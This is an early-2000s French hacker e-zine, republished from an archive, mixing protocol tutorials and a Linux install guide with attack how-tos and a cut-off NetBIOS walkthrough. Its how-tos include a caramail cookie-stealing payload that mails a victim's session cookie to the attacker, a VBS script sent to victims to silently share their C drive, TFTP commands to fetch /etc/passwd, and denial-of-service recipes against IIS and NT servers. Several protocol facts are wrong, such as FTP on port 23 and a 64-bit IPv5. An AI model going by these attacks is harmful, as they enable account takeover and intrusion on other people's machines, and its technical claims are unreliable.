Disparu du web en 2002, remis en ligne par cr0vax via webarchive

Hack Zine

By [Kefka]

deuxième édition 

Sommaire 

1°/Introduction

2°/Manifeste des hackers

3°/Les protocoles internet

4°/Hacker une boîte caramail

5°/Linux : Installation

6°/D.O.S (Denial of service)

7°/Accèder au contenu du disque dur de quelqu'un

8°/La programmation en C

9°/Programmation de sockets

10°/Programmation d'un scanneur de ports

11°/ICMP Smurfing - By LiOn7

12°/Intelligence artificielle

13°/Discussion avec un lamer

14°/Exploiter les failles php

15°/Conclusion 
 

Disclaimer: Ces informations sont à titre purement éducatif, je ne serais en aucun cas responsable de ce que vous pourriez faire avec . Tout acte ou tentative de piratage est reprimé par la justice.   HackZineÒ, [Kefka] 
 

1°/Introduction 

Ahhhhhh ba c'est pas trop tôt me direz vous... Ca fait quand même près de quatres mois qu'on l'attend, ce nouvel épisode de HackZine. Si vous n'avez toujours pas lu le numéro précédent, courez me le demandez, vous pouvez toujours me contacter sur nickairmax@caramail.com , je me ferais un plaisir de vous l'envoyer (;))) . Voici donc le deuxième numéro, avec toujours autant de hack, de plaisir, mais cette fois ci on va passer à la vitesse supérieure... Sans pour autant atteindre un niveau trop élevé, faut que ça reste grand public quand même..

Bon, alors, on va d'abord commencer par un manifeste, qui donne une superbe définition des hackers (vous pouvez toujours lire la mienne dans le premier numéro de HackZine mais celle là n'a rien à voir comparé au manifeste que je vais vous proposer, mais alors rien du tout :)) ), puis après, on verra plein d'autres trucs interessants, nottament la programmation en c, les protocoles internet, la programmation de sockets, le hack par e-mail, linux, etc...

Si vous avez des suggestions, des commentaires, des conneries à dire, ou tout simplement si vous souhaitez reçevoir le premier numéro de HackZine, mailez moi à nickairmax@caramail.com. Bon, sans plus tarder, Moteur, ça tourne !!! 

HAVE FUN  !!! 
 
 

2°/Manifeste des hackers 

Bon, ici, j'ai envie de vous placer un manifeste, rédigé par un parfait inconnu, traduite par Neuralien, et qui date du 8 janvier 1986.

Remarquez et admirez le style d'écriture très prononcé... Du tout bon !!! 

Un autre s'est fait prendre aujourd'hui, c'est partout dans les journaux. Scandale: Un adolescent arrêté pour crime informatique, arrestation d'un 'Hacker' après le piratage d'une banque...  
Satanés gosses, tous les mêmes.

Mais avez vous, dans votre psychologie en trois pièces et votre profil technocratique de 1950, un jour pensé regarder le monde derrière les yeux d'un hacker? Ne vous êtes vous jamais demandé ce qui l'avait fait agir, quelles forces l'avaient modelé ?  
Je suis un hacker, entrez dans mon monde...  
Le mien est un monde qui commence avec l'école... Je suis plus astucieux que la plupart des autres enfants, les conneries qu'ils m'apprennent me lassent...

Je suis au collège ou au lycée. J'ai écouté les professeurs expliquer pour la quinzième fois comment réduire une fraction. Je l'ai compris. "Non Mme Dubois, je ne peux pas montrer mon travail. Je l'ai fait dans ma tête".  
Satané gosses. Il l'a certainement copié. Tous les mêmes.

J'ai fait une découverte aujourd'hui. J'ai trouvé un ordinateur. Attends une minute, c'est cool. Ca fait ce que je veux. Si ça fait une erreur, c'est parce que je me suis planté.  
Pas parce qu'il ne m'aime pas...  
Ni parce qu'il se sent menacé par moi...  
Ni parce qu'il pense que je suis un petit filous...  
Ni parce qu'il n'aime pas enseigner et qu'il ne devrait pas être là...  
Satanés gosses. Tout ce qu'il fait c'est jouer. Tous les mêmes.

Et alors c'est arrivé... Une porte s'est ouverte sur le monde... Se précipitant a travers la ligne téléphonique comme de l'héroïne dans les veines d'un accro, une impulsion électronique est envoyée, on recherche un refuge à l'incompétence quotidienne... Un serveur est trouvé.

Vous vous répétez que nous sommes tous pareils... On a été nourri à la petite cuillère de bouffe pour bébé à l'école quand on avait faim d'un steak... Les fragments de viande que l'on nous a laissé étaient pré-machés et sans goût. On a été dominé par des sadiques ou ignoré par des apathiques. Les seuls qui avaient des choses à nous apprendre trouvèrent des élèves volontaires, mais ceux ci sont comme des gouttes dans le désert.

C'est notre monde maintenant... Le monde de l'électron et de l'interrupteur, la beauté du Baud. Nous utilisons un service déjà existant, sans payer ce qui pourrait être bon marché si ce n'était pas la propriété de gloutons profiteurs, et vous nous appelez criminels. Nous explorons... et vous nous appelez criminels.  
Nous recherchons la connaissance... et vous nous appelez criminels.  
Nous existons sans couleur de peau, sans nationalité, sans dogme religieux... et vous nous appelez criminels.  
Vous construisez des bombes atomiques, vous financez les guerres,  
vous ne punissez pas les patrons de la mafia aux riches avocats,  
vous assassinez et trichez, vous manipulez et nous mentez en essayant de nous faire croire que c'est pour notre propre bien être, et nous sommes encore des criminels.

Oui, je suis un criminel. Mon crime est celui de la curiosité. Mon crime est celui de juger les gens par ce qu'ils pensent et dise, pas selon leur apparence.  
Mon crime est de vous surpasser, quelque chose que vous ne me pardonnerez jamais.

Je suis un hacker, et ceci est mon manifeste. Vous pouvez arrêter cet individu, mais vous ne pouvez pas tous nous arrêter... après tout, nous sommes tous les mêmes.  

J'ai rien à redire là dessus, bravo monsieur "The Mentor", 20/20 !  :p

"On ne naît pas hacker, on le devient" 
 
 
 

3°/Les protocoles internet 

Nous allons étudier dans ce chapitre les protocoles internet les plus connus, et les classer par rapport aux couches du modèle O.S.I qu'ils recouvrent (et oui, faut avoir lu mon zine précèdent pour comprendre ça :p). Pour votre culture générale, voici le détail de ces différents protocoles: 
 

a) les protocoles qui recouvrent la couche Application du modèle O.S.I 

On va surtout retrouver dans cette partie les protocoles FTP, SMTP, HTTP, et POP, ce sont les plus connus. Voilà donc le détail de ces protocoles : 

-FTP : File Transfert Protocol (port 23): FTP est un protocole qui va permettre de déplacer des fichiers entre une grande variété d'ordinateurs. FTP emploie le protocole TCP (Transmission Control Protocol) comme mécanisme de transport pour transférer des données.

FTP établit deux connections TCP, l'une pour transférer des données, l'autre pour transférer des commandes.

Chaque hôte FTP dispose d'un module PI (Protocol interpreter: interpréteur de protocoles) qui a la dûre tache d'agir sur les commandes et les réponses FTP.

Chaque hôte FTP dispose aussi d'un module de transfert de DT (data transfert : données de transfert quoi ... ) qui est responsable du traitement des données. Ces modules, PI et DT, sont bien entendus "inter-connectés".

FTP utilisera Telnet comme PI. Voilà maintenant un petit shéma ( c'est pas ça qui va vous faire du mal :p )

           

                                                                                   Interface utilisateur

                                                                                                   |

                                                                                                   |

                                                                      Commandes FTP                   |

                            Interpréteur de protocole <------------------- >Interpréteur

                                               serveur             Réponses FTP       de protocole        

                                                |                                               utilisateur

                                                |

Système de fichiers <----->Module de transfert:<-------------------->Module                                                                                                                                                                                                                                                                

                                           données serveur       Connection des         transfert                               

                                                                                               données           données:

                                                                                                 utilisateur

                                                                                                     |

                                                                                                     |

                                                                                                Système                      

                                                                                               de fichiers 
 
 

Ici, on a le serveur FTP dans la partie gauche, et l'utilisateur dans la partie droite. L'utilisateur envoie des commandes FTP par le biais d'un interpréteur de commandes. Les commandes envoyés par l'utilisateur vont être ensuite interprété par le serveur, celui-ci va répondre à la commande, et utiliser le module de transfert (celui du serveur) pour envoyer les données correspondant à la demande de l'utilisateur. Le protocole FTP se chargera donc d'acheminer les fichiers demandés par l'utilisateur en question, ou tout simplement d'executer des commandes sur le serveur. Voilà, vous savez tout !!! 

Bon je vais profiter de FTP pour vous parlez de TFTP, son petit frère... Son port le 69a, il peut être très interessant car il possède de nombreuses failles. Essayez donc cette série de commandes pour Linux (les tags ne sont pas à taper vous vous en doutez bien... comment ça non??   :)) ) : 

>evil % tftp

>connect la_machine

>get etc/passwd ... alors ça vous rapelle pas des trucs ça? lol 

Héhé, voilà, les points sont remis sur les i. Désolé de m'être quelque peu éloigné de mon sujet mais ça en vallait bien la peine mouarf.... 
 

-SMTP : Simple Mail Transfer Protocol (port 25): SMTP, comme son nom l'indique, est un protocole simple de messagerie, qui sera donc utiliser pour le transfert du courrier électronique du client vers un serveur SMTP. C'est un protocole de type requête réponse.

Comment ca fonctionne? Après qu'un connection TCP est établie, le serveur SMTP envoie une commande HELO qui permet à l'expéditeur de s'identifier. Ensuite, il envoie une commande MAIL. Si tout se passe bien, l'autre serveur SMTP va répondre OK, pour indiquer qu'il est prêt à reçevoir le courrier. L'émetteur SMTP (celui qui envoie le mail), envoie alors une commande RCPT TO, afin d'indiquer l'adresse email du recepteur du courrier. Le serveur va vérifier s'il est possible d'envoyer un mail au recepteur avec la commande VRFY. Après quoi le message va être envoyé par la commande DATA, au récepteur.La commande TURN va être utiliséé pour répondre au message. Alors, ça ne vous rapelle rien? Souvenez vous, pour envoyer des mails anonymes, HELO mail.server.com, mail from: vous@server.com , rcpt to: victime@server.com , data puis votre message...  (voir HackZine1)

Et pour les serveurs SMTP, ils sont le plus souvent nommés sous la forme mail.domaine.com .

Ba voilà, je peux pas vous dire grand chose de plus... :)) 
 

-HTTP : Hyper Text Transport Protocol (port 80 ou 8000): Le protocole HTTP est un protocole e/s (entrée/sortie) permettant d'accéder aux ressources du Web par le biais des URL (Uniform Resource Locator). Les trois principales commandes sont GET (pour récupérer une ressource localisée sur un serveur et l'envoyer au client), POST (pour envoyer des données d'un client à un serveur) et HEAD (pour récupérer des métas-informations sur l'URL à partir du serveur, sans récupérer le fichier en lui même). Voilà à quoi devrait ressembler une URL: 

<protocole>://<utilisateur>:<mot de passe>@<hôte>:<port>/<chemin> 

ou <protocole> définit le protocole employé par l'url, cela peut être par exemple http, ftp, wingate, nfs, file, nntp, finger, irc, cid...

<utilisateur> si nécessaire, est le nom de l'utilisateur et son <mot de passe>. <hôte> est le nom de champ de l'hôte du réseau, par exemple domaine.com ou son adresse ip. <port> est le numéro du port ip auquel on cherche à se connecter, s'il n'est pas précisé, ce sera alors la valeur du port par défaut du protocole utilisé par exemple pour http, cela sera 80). Enfin, <chemin> est le chemin d'accès aux données associés à l'url. Voilà un exemple d'une URL:

http://www.homepage.com/index.htm

Cela pourrait être aussi:

http://anonymous:nickairmax@caramail.com@homepage.com:80/index

Voilà, c'est pas plus dur que ça tout comptes faits. 
 

-POP: Post Office Protocol (port pop3): Le protocole POP est un protocole email applicable au modèle email client /serveur hors connection. Nous sommes aujourd'hui à la version 3 de ce protocole (pop3 quoi...).

Un client POP3 envoie des commandes à un serveur POP3 et attend les réponses, libellées en ASCII.

Voilà une liste de ces principales commandes: 

-USER, pour identifier la boîte aux lettres sur laquelle le client désire opérer.

-PASS, pour fournir le mot de passe correspondant à la boîte aux lettres définie par la commande USER

-STAT, le serveur envoie les statistiques concernant la boîte de réception, comme le nombre de messages, leur taille en octets...

-RETR + msg, le serveur envoie le texte du message identifié par le paramètre msg.

-DELE + msg, le serveur supprime le message identifié par le paramètre msg. 
-NOOP, le serveur retourne une réponse positive.

-RSET, le serveur rétablit dans leur état initial tous les éléments qui ont été supprimés.

-QUIT, le serveur, si le client le désire, ferme la sessoin client/serveur. 

Cette liste est cependant loin d'être exhaustive ( désolée :-( ), alors, si vous voulez en savoir plus, consultez le document RFC 1939.

Passons à autre chose... 
 
 

b) Les protocoles recouvrant la couche Réseau du modèle O.S.I 

Dans cette seconde partie, nous aborderons principalement les protocoles IP, ICMP et ARP. Bon, place aux détails... (NB: les protocoles suivants ne sont pas attribués d'un numéro de port, vu que ce ne sont pas des protocoles applicatfs, pas de surprise donc :p) 

-IP : Internet Protocole: Je vous avais déjà parler du protocole IP dans mon zine précèdent. Nous allons toutefois essayer de l'aborder d'une manière plus détaillée. Internet est composé d'un grand nombres d'ordinateurs hôtes et de matériels apellés routeurs (on peut aussi dire "node"). Plusieurs ordinateurs hôtes inter-connectés forment un réseau, plusieurs réseaux forment un ilôt. Ces ilôts sont connectés par des routeurs (dispositifs permettant de reçevoir et d'acheminer des données depuis un réseau, voir chap. 16 du premier numéro). Chaque hôte et chaque routeur doit avoir une adresse unique, pour que les packets puissent transiter par ces matériels. Le protocole IP définit un format d'adressage (les adresses IP) et un mécanisme de transfert de données appelé datagramme. Ces datagrammes IP sont encapsulés dans les trames des protocoles de bas niveau, genre Ethernet. Un datagramme IP, donc, comprend un en-tête IP, suivi de données apellées "payload". L'en-tête IP est de longueur variable. Mais j'ai pas trop envie de m'embrouiller là dedans, c'est totalement inintéressant, alors parlons plutôt de l'adressage IP, que l'on avait déjà vu dans le numéro précédent, et que l'on va essayer d'approndir maintenant (et oui m'sieur).

Actuellement, le protocole ip en est a sa 4ème version (IPv4), d'ailleurs on va pas tarder à passer à IPv5. IPv4 définit, souvenez vous, des adresses réseau longues de 32bits (64 pour le futur IPv5, mais bon, on s'en fout un peu là mdr), assignées par l'IANA (heuuuu ché plus ce que ça veut dire ce trux là dsl :p).

Les adresses IP sont réparties en 4 classes (A, B, C et D). Je vous fais un tableau c'est plus explicite: 
 

                    Valeur du                   Nombre                      Nombre d'hôte 

Classe          masque de réseau       d'adresses dispo             dispo

-------------------------------------------------------------------------------------------

Classe A   :    255.0.0.0               :     128                       :    16777214

Classe B   :    255.255.0.0            :     16384                   :    16382

Classe C   :    255.255.255.0        :     2,1 milions           :    253

Classe D    :    N/A                       :     N/A                      :    N/A

(multicast) 
 

255.0.0.0 recouvrira un réseau dont les 8 premiers bits (la première "partie de l'adresse IP, dont la valeur variera entre 0 et 255) à eux seuls serviront à identifier ce réseau, et qui pourra posséder 16777214 ordinateurs hôtes... Bien sûr, quand une entreprise se voit attribuer une adresse de classe A, elle n'est pas obligatoirement dotée de 16777214 hôtes, mais elle peut compte quelques centaines d'ordinateurs sur chacun de ses sites.

En ce qui concerne les adresses IP de classe D, on les nommes adresses multicast, elles recouvrent un ensemble de nodes (un node est une abréviation de répeteur, pont, routeur, hôte, contacteur ou passerelle, lol du coup mon abréviation me rallonge tant pis pour moi :p ) IP qui forment un groupe logique  (par exemple cela peut être une "succession" de routeurs). Bon, j'éspère avoir été assez clair (pour être honnête, j'aurais jamais penser faire un article aussi compréhensible sur ce sujet :o), maintenant, passons à autre chose. 
 

-ICMP (Internet Control Message Protocol): Ce protocole est employé par les hôtes et les routeurs pour échanger une informations de contrôle, comme par exemple une erreur. Vu que je fais partie de ce pourcentage de la population qui ne maîtrise pas du tout ICMP (dsl mais rien que le nom, ICMP, me fait mal à la tête :( ) , et que j'ai l'intention de parler uniquement de ce que je connais (et pas des trucs que j'y comprend rien dsl), je ne m'étendrais pas plus sur ce point. Cependant, pour avoir de la doc la dessus, vous pouvez toujours consulter les doc RFC 1256, 1122 et 792 (les documents rfc sont des documents rassemblant toutes les normes de l'internet, nomenclatures, etc... http://ds.internic.net/rfc ) 
 

-ARP : Adress Resolution Protocole: C'est le protocole de résolution des adresses. Quand une adresse IP est est connue, le protocole ARP se charge de localiser l'adresse physique du matériel, par le biais d'un service DNS (Domain Name Service), qui va convertir l'adresse IP en nom de domaine et vice-versa. Je suis pas 100% sûr que ma définition soit correcte, il me semble que ARP et DNS sont deux choses différentes, enfin bon...  :))   Passons maintenant à autre chose. 
 
 

c) les protocoles recouvrant la couche Transport du modèle O.S.I   

On parlera dans cette partie principalement des protocoles TCP et UDP.(d'ailleurs, je crois que ce sont les seuls protocoles existants à ce niveau là) 

-TCP : Transmission Control Protocol: TCP est le protocole qui concerne tout ce qui est réassemblage des packets IP, vérification du message contenu dans les packets, etc...Il prendra aussi en charge la réorganisation des datagrammes IP, leur mise en ordre... Il s'occupera donc principalement du contrôle de la communication/transmission entre deux ou plusieurs ordinateurs. TCP constitue avec IP le protocole standard qui s'occupe de la transmission de données sur Internet.  

-UDP : User Datagramm Protocol: UDP est un protocole, au sein de IP, qui fournit un service de datagrammes. Ce service ajoute des fonctionalités à IP: Il offre un multiplexage et un démultiplexage, qui fait en sorte que les applications sur un poste client ou su un poste serveur, aient leur propre flux de datagrammes. Il offre également un checksum, càd une méthode de calcul qui va vérifier la validité des datagrammes reçus.

Un packet UDP se compose d'un entête, suivi de payloads, encapsulés sous forme de portion de données dans un packet IP.

C'est tout ce qu'on pouvait dire là dessus, j'espère que vous avez compris :)). 

Cette liste de protocoles, est bien sûr, loin d'être exhaustive, j'aurais pu vous parler par exemple de IRC ou de NTP, mais je crois que ça devrait déjà suffir... Bon, après la partie technique, on va s'interesser à la partie pratique, le hack proprement dit .     :)) 
 
 
 

4°/Hacker une boîte email 

Bon, si vous avez déjà lu mon premier numéro, vous devez déjà être en train de vous morfondre devant votre écran à vous dire que ce chapitre, c'est rien que du rechauffé, etc... Non, n'ayez crainte (:p), on va plutôt s'interesser à comment avoir accès à une boîte de reception qui ne nous appartient pas, à l'aide d'un simple cookie.

Le principe est très simple, il suffit juste de s'y connaître un peu en HTML. Cela va consister à envoyer un script à la victime, maquillé par exemple en image bmp, qui, si la victime l'ouvre, nous enverra son cookie identifiant, avec lequel on pourra accèder à sa boîte de reception héhéhé...

On va prendre pour exemple une victime possèdant un compte sur caramail.

Caramail est très interessant car, pour envoyer du courrier électronique, on passe par un simple formulaire, et c'est cette faille là que nous allons exploiter. Ce formulaire se trouve à http://www.caramail.com/cgi-bin/SelectAction? et les commandes "d'action", après l'interface cgi-bin,  sont celles ci: 

DEALIAS= qui va servir à attacher un fichier

MAILTO= qui va définir l'adresse du récepteur (donc de votre victime lol)

SUBJECT= le sujet du message

BODY= le corp du message, révisez votre HTML bon sang !!

TARGETACTION= qui définit les paramètres de l'envoi du message 

On va donc forcer la victime, avec notre script à nous envoyer un mail, par l'intermédiaire de cette adresse : http://www.caramail.com/cgi-bin/selectaction?dealias=0&mailto=votre_login@caramail.com&subject=le cookie de votre victime (cela étant le sujet du mail que vous devriez reçevoir si la victime éxecute votre script)&body=" +windows.document.cookie (cela correspond en java script à la commande qui va permettre de récupérer le cookie de la page sur laquelle la victime est, càd sa boîte de reception niark niark...)+"targetaction=none".

Voilà donc à quoi devra ressembler le code permettant de récuperer ce maudit cookie :((. : 

<html>

<body onload="windows.location=http://www.caramail.com/cgi-bin/SelectAction?DEALIAS=0&MAILTO=votre_login@caramail.com&SUBJECT=le cookie&BODY=' +windows.document.cookie + '&TARGETACTION=NONE';">

</body>

</html> 

On placera donc ce code dans un fichier txt, que l'on enverra à la victime. Si celle-ci l'ouvre, caramail devrait interpreter ce code en html (au cas où cela ne se produirait pas, envoyer le même fichier, mais en format *.htm). Vous devrez donc reçevoir le cookie de la victime dans la minute qui suit, :p.

Puis pour ouvir le cookie, utilisez hkit. Vous pourrez donc accèder à la boîte de reception de la victime, en utilisant l'adresse http://www.caramail.com/NbParFolder

Sinon vous pouvez aussi envoyer ceci, en html, sans passer par "attacher un fichier".  

<html>

<head>

</head>

<body bgcolor="#ffffff" link="#000099" vlink="#000099">

<table border=0 cellpading=0 cellspacing=0 width=100%>

<tr bgcolor=#foe8cc><td colspan=3><center></center></tr></th>

<a href="http://www.caramail.com/cgi-bin/SelectAction?DEALIAS=0&MAILTO=votre_login@caramail.com&SUBJECT=le cookie&BODY=' +windows.document.cookie + '&TARGETACTION=NONE"</a>

<center><font face="Arial, Helvetica" size="5">Cliquez ici pour la surprise</font><br>

<font face="Arial, Helvetica" size="1">© 2002 caramail. Tout droits réservés

</font></center>

<br>

<br>

<br>

</body>

</html> 

Recopier ce texte et envoyer le à votre victime, en cochant avant la case "envoyer en html". Je trouve d'ailleurs cette méthode encore mieux que la précédente, enfin bon, c'est à vous de voir...

Avec tout ça, les fake-mails, c'est depassé !! mdr 
 
 
 

5°/Linux : installation 

Linux, tout comme la connaissance de langages de programmation, est indispensable pour devenir un "vrai" hacker, vous verrez pourquoi plus tard. Pour l'instant, nous allons apprendre à installer Linux...

En effet, cette installation est réputée pour être particulièrement compliquée, mais bon, tant que vous avez des bon documents sous vos yeux, ça ne devrait pas vous poser trop de problèmes :p

On va s'interesser à l'installation d'une Redhat, une version 5.2 mais ça devrait également s'appliquer pour les versions postérieures ou antérieures, quand à Debian, on verra ça une autre fois.

Bon, on commence... 

Au départ, vous allez devoir créer votre disquete de boot (sauf si vous en avez déjà une ça va de soit lol), afin d'installer Linux. Vous insérez donc, sous windows, le cd de la Redhat, ainsi qu'une disquette vierge dans le lecteur de disquette, puis vous chercher le fichier rawrite.exe, généralement présent dans le repertoire /dosoutil. Vous l'executez donc et vous tapez (en supposant que le nom de partition de votre lecteur cd soit g:/ et celui de votre disquette a:/):

>rawrite -f g:\images\boot.img -d a: -n

Vous aurez ainsi votre disquette de boot. Puis vous allez partitionner votre disque dur, afin de préparer de l'espace pour Linux. Supposons que vous partitionner votre disque dur en c: (là ou se trouve windows) et en d: (là où vous placerez votre Linux). Bon, maintenant, redemarrez en laissant la disquette de boot dans le lecteur a: .  

Un menu d'option va alors s'afficher. Appuyez sur la touche entrée pour lancer l'installation. On va vous demander en quelle langue vous voulez que l'installation se fasse: Taper "fr" et valider avec la touche entrée. On va maintenant vous demander si vous avez une interface scsi, répondez non, et la langue, français, et le clavier, fr-1. Ensuite on va vous demander la méthode d'installation, choisissez "cdrom" et mettez le cdrom de Linux. 

Lancez maintenant une installation personalisée. On va vous demander si vous préférez utiliser FDisk ou DiskDruid. Répondez DiskDruid, c'est plus simple :))  .

Vous atterirez donc dans une fenêtre, utilisez les flèches directionnelles et la touche tab pour vous déplacer, la barre espace pour cocher et la touche entrée pour valider. 

Vous avez donc vos deux partitions dos, c: et d: si vous avez bien suivi (;))),  qui s'apelleront respectivement hda1 et hda2. Vu que hda1 correspond à votre disque dur sur lequel windows boot, vous n'y touchez pas. Interessons nous à hda2, qui contiendra votre Linux.

Donc à la place de la partition hda2 vous allez créer une partition hda2 linux native (c'est la partition de linux ou sera installé le système d'exploitation et toutes vos données Linux) et une parttion hda3 Linux Swap (c'est une partition jouant le rôle de mémoire ram pour le cas où votre mémoire ram ne serait pas assez grande. Cela évite à l'OS de faire un choix sur les données à garder comme le fait le dos). Vu que vous voulez avoir Linux pour hacker (héhéhé.....) vous n'allez faire qu'une seule partition native.

Vous avez donc deux partitions pour Linux, hda2 (celle qui contient l'os et  la partition native pour la mémoire ram) et hda3, la swap.

On va ensuite vous demander le point de montage de la partition native, vous allez mettre:  /  , le symbole de la racine, il n'y aura pas besoin de point de montage pour la partition swap.

De Linux pour pouvoir accèder à Windows il existe un programme qui s'appelle Samba et que l'on peut installer sur Linux dès la première installation mais il y a un autre moyen de pouvoir accèder aux données de Windows c'est de mettre un point de montage à vos partitions dos. Par exemple de mettre le point de montage /dosc à votre partition c:. Ce qui fera que dès que vous aurez installé Linux et que vous vous mettrez en mode console, si vous faites cd / puis ls vous apercevrez un repertoire nommé /dosc dans lequel vous trouverez les même choses que si vous faites dir sous c:.  

Une fois que vous avez fait tout ca il vous restera sûrement de la place donc nous allons créer une autre partition dos pour vous redonner de la place sous windows et ainsi recreer la partition d: que l'on avait effacé pour créer la partition Linux native. Celle la vous ne l'appelerez pas native ni swap mais avec le nom que celle qui contient Windows c'est à dire hda1 normalement. Ce nom dépendra de votre système si c'est le 95 le 98 et si c'est un fat 16 ou 32 vous serez amenés à mettre "DOS 16-bit>=32M" comme type de partition. Donc ne vous prenez pas la tête appelez la de la même manière mais surtout pas native ni swap. Comme cette partition est maintenant la partition d: vous pouvez lui mettre un point de montage pour pouvoir y accèder aussi sous Linux. Si vous avez mis /dosc pour c: , mettez /dosd en point de montage pour d: à moins que vous vouliez mettre autre chose, le choix est bien entendu libre.

Une fois toutes ces partitions crées, cliquez sur "ok". 

On vous demandera alors quels packetages vous désirez installer. Là faites ce que vous voulez, le fait que vous ayez installer un packetage qui ne convenait pas ne sera pas dramatique vu que vous pourrez toujours les réinstaller, sans avoir à installer à nouveau Linux. Après quoi on vous posera des questions sur le matériel que vous utilisez, à savoir moniteur, résolution de l'écran, souris, modem, etc.... Pas très compliqué là. 
Ensuite vous allez devoir valider votre passwd root. Nous sommes bien d'accord, l'user root est l'user qui a le plus de droits sur un système, en l'occurence ici c'est vous lol. Tapez donc le passwd de votre choix, et n'oubliez surtout pas de le retenir :p , ca pourrait être fatidique pour la suite... Ne vous inquiétez pas, le passwd n'apparaîtra pas quand vous le taperez, rester zen (|-|) .
 

Ensuite il va vous falloir paramètrer Lilo, qui est le programme qui se lance à chaque démarrage et qui vous demande sur quel O.S vous voulez bootez. Si vous êtes vraiment con, que l'installation de Linux était une erreur et que vous voulez bootez sur Win9x uniquement tapez :"fdisk /mbr", cela effacera Lilo mdr. Si vous voulez que votre pc lance Linux après 50 secondes d'inactivité lors d'un démarrage ou d'un reboot, laissez comme ça, c'est très bien. Sinon, appuyez sur F2 pour que à chaque démarrage, après 50 secondes d'inactivité, Lilo lance Windows (pour que windaube soit l'o.s par défaut quoi ). Hem, hem, je sais, ça n'a pas tellement d'importance ce que je vous raconte lol.

Appuyez donc sur la touche "entrée" : le pc va rebooter. Félicitations, Linux est installé !!! Un écran vous demandera sur quel O.S vous désirez bootez, choisisez bien sûr Linux, afin de l'essayer.

Vous lancez donc Linux, et là une fenêtre va vous demander votre login (pas très compliqué, vu que le seul user que l'on a pu mettre jusqu'à présent est le root, donc tapez "root") puis votre passwd (héhéhé, j'espère que vous l'avez pas oublié ce serait dommage arf).

Ensuite il vous restera plus qu'à vous amuser, à essayer votre nouvel O.S, si vous êtes comme moi et que vous maîtrisez plutôt bien le dos (arf), vous ne serez pas trop depaysé, les commandes sont (quasiment) les mêmes. 

Voilà, vous avez votre Linux, alors demmerdez vous pour apprendre à le maîtriser, :)) . La suite au prochain numéro... 
 
 
 

6°/D.O.S (Denial of service) 

Rien à voir avec le DOS de windows, lol. Un D.O.S est en fait une technique de plantage en règle sur un serveur.

Pour ceux qui pensent les D.O.S sont tendance crashers, les D.O.S sont en fait très pratiques pour se spoofer, ou pour mettre en marche un troyen.

Pourquoi? Et bien vous devez savoir que les serveurs sont en permanence connectés, et qu'il est impossible de prendre l'ip d'un poste (serveur ou non) déjà connecté. C'est là qu'intervient le D.O.S, il va nous permettre de déconnecter le serveur, afin de lui "piquer" son adresse ip, ou tout simplement de le rebooter afin de mettre en marche un troyen ou une backdoor (préalablement installée sur le serveur). Il existe des centaines de techniques de D.O.S, je vais vous en expliquer quelques unes.  :)) 

Serveur IIS 4.0 : Comment déconnecter un serveur IIS 4.0 (made in micro$oft lol) qui tourne sur un poste? Arf, bah c'est simple, si le poste en question a le port FTP (port 21, vous avez quand même pas déjà oublié nan? ) d'ouvert, connectez y vous dessus une dizaine de fois et envoyer à chaque connection les commandes "delete" ou "put", le serveur ne tardera pas à vous balancer une erreur 426, qui le rendra inutilisable pour tous les users ( ;) ), et donc après vous pourrez spoofer l'ip de ce serveur, qui du coup ne pourra plus se reconnecter mdr...

Pour ce qui est des commandes "delete" et "put", il va vous falloir réaliser un script, sinon, vous ne serez jamais assez rapide. 

Serveur NT 4.0 PPTP : Vous n'avez qu'à vous connectez sur le port loc-srv (135) ou sur le port iad2 (1031) par telnet, et bombardez le serveur de plein de caractère aléatoires, ce qui aura pour effet de déconnectez le serveur :)) ... Là encore, il vous faudra réaliser un script pour générer rapidement les caractères aléatoires. 

Il existe également un programme, du nom de Pantherm, qui vous permet de configurer et de lancer des D.O.S .

Bah voilà, je pense que cela devrait vous suffir.     :)) 
 
 
 

7°/Accèder au contenu du disque dur de quelqu'un 

Cette méthode est en fait un complèment à la méthode parue dans le premier HackZine, qui expliquait comment lire le contenu du disque dur de quelqu'un par NetBios. Cette méthode, en effet, marche très très rarement :((; l'astuce que je vous propose va vous permettre d'ouvrir le port netbios (139) de la victime, et de lui activer l'option du partage des fichiers....

Pour ce faire, nous allons créer un fichier qui, si la victime l'ouvre, va entrer de nouvelles valeurs dans sa base de registre, et qui activera l'option "Partage de fichiers", qui nous permettra par la suite de le hacker par NetBios. Ce fichier est un fichier *.vbs, visual basic quoi...

Ouvrez donc le bloc-notes, et tapez (les > représentent le début de chaque ligne, ne les tapez pas ;)) ) : 

>Set WshShell = CreateObject("WScript.Shell")

>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags",770, "REG_DWORD"

>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parmlenc", 6837, "REG_BINARY"

>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm2enc", 0, "REG_BINARY"

>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\"

>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Remark",""

>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", 0, "REG_DWORD" 

Enregistrez maintenant cela en *.vbs et envoyez le fichier à votre victime. Maintenant que la victime l'a ouvert, faites un clique droit sur l'icône "Voisinage réseau", cliquez sur "Se connecter à un lecteur réseau" et spécifier le chemin d'accès, qui est : \\ip\C$

Où "ip" reprèsente l'adresse ip de la victime et où "$" devant "C" sert à rendre invisible le partage de fichiers (niark niark). 

Et comme je suis généreux, je vais vous réexpliquer comment accèder à  son disque dur... (des fois que vous n'aurez pas lu mon zine précédent :(( ).

Alors pour commencer, sachez qu'il existe une passerelle entre le protocole TCP/IP et le protocole NETBEUI, qui fonctionne au moyen de Netbios, et c'est avec Netbios que nous allons pouvoir hacker notre pauvre victime...  Pour cela, vous, vous et votre victime, devez possèder Win9x (95 ou 98 kôa), ainsi que l'option "Partage des fichiers activé".

Pour activer cette option, c'est très simple, allez dans le Panneau de configuration, cliquez sur l'icône réseau puis sur l'option Partage des fichiers et de l'imprimante, et voilà, le tour est joué. :))

Bon, tout est en place, allons y. Ouvrez une fenêtre DOS et tapez : 

>nbtstat -a ip (ou ip représente l'ip de la victime) 

Une liste de noms d'oiseaux (façon de parler :-) ) va alors s'afficher. Si ce n'est pas le cas changez de victime, elle n'a pas NetBios d'installé. 

Voilà ce que cela devrait donner : 

NetBIOS Remote Machine Name Table

Name Type Status

